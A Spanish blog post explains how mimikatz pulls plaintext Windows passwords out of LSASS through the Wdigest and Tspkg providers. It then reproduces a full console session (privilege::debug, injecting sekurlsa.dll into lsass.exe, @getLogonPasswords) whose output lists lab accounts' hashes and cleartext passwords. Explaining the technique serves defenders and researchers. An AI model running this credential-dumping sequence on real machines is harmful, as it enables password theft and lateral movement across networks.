mimikatz: recupera las contraseñas en claro desde LSASS

Hace un par de días leíamos una entrada del blog de S21Sec en la que vaticinaban el fin de las técnicas Pass-the-hash mientras existiera y funcionara la herramienta mimikatz del francés "Gentil Kiwi".

Es decir, ya no será necesario reutilizar los hashes de un usuario (sin salt) para acceder a otros equipos o tirar de rainbow tables para crackear por fuerza bruta las contraseñas. Como mimikatz obtendremos las passwords en claro instantánemente.

¿Cómo? Pues viene perfectamente explicado en la entrada del blog que comentábamos, pero para resumir podemos decir que dentro del LSA (Local Security Authority) de Windows existen dos proveedores de autenticación por defecto (Tspkg y Wdigest) que almacenan las credenciales de los usuarios de forma reversible. Realmente no por un fallo inadvertido, si no porque estos módulos proveen autenticación a otros esquemas que necesitan conocer la contraseña, no sólo el hash.

Sin embargo, esto facitita a un atacante la posibilidad de recuperar las contraseñas en claro si dispone de permisos de debug sobre el proceso del LSASS (grupo de adminitradores), algo que podría haber conseguido previamente, por ejemplo, mediante la explotación previa de una vulnerabilidad de escalado privilegios (accediendo como SYSTEM).

Una vez que el atacante posee una cuenta con privilegios, también puede ir dando "saltos" entre las distintas máquinas de la red con psexec para ir "recolectando" contraseñas en claro. Tan fácil como se muestra a continuación:

mimikatz 1.0 x86 (pre-alpha)    /* Traitement du Kiwi */

mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK

mimikatz # inject::process lsass.exe sekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 488
Attente de connexion du client...
Serveur connecté à un client !
Message du processus :
Bienvenue dans un processus distant
Gentil Kiwi

SekurLSA : librairie de manipulation des données de sécurités dans LSASS

mimikatz # @getLogonPasswords

Authentification Id : 0;434898
Package d'authentification : NTLM
Utilisateur principal : Gentil User
Domaine d'authentification : vm-w7-ult
msv1_0 : lm{ e52cac67419a9a224a3b108f3fa6cb6d }, ntlm{ 8846f7eaee8fb117ad06bdd830b7586c }
wdigest : password
tspkg : password

Authentification Id : 0;269806
Package d'authentification : NTLM
Utilisateur principal : Gentil Kiwi
Domaine d'authentification : vm-w7-ult
msv1_0 : lm{ d0e9aee149655a6075e4540af1f22d3b }, ntlm{ cc36cf7a8514893efccd332446158b1a }
wdigest : waza1234/
tspkg : waza1234/

Comentarios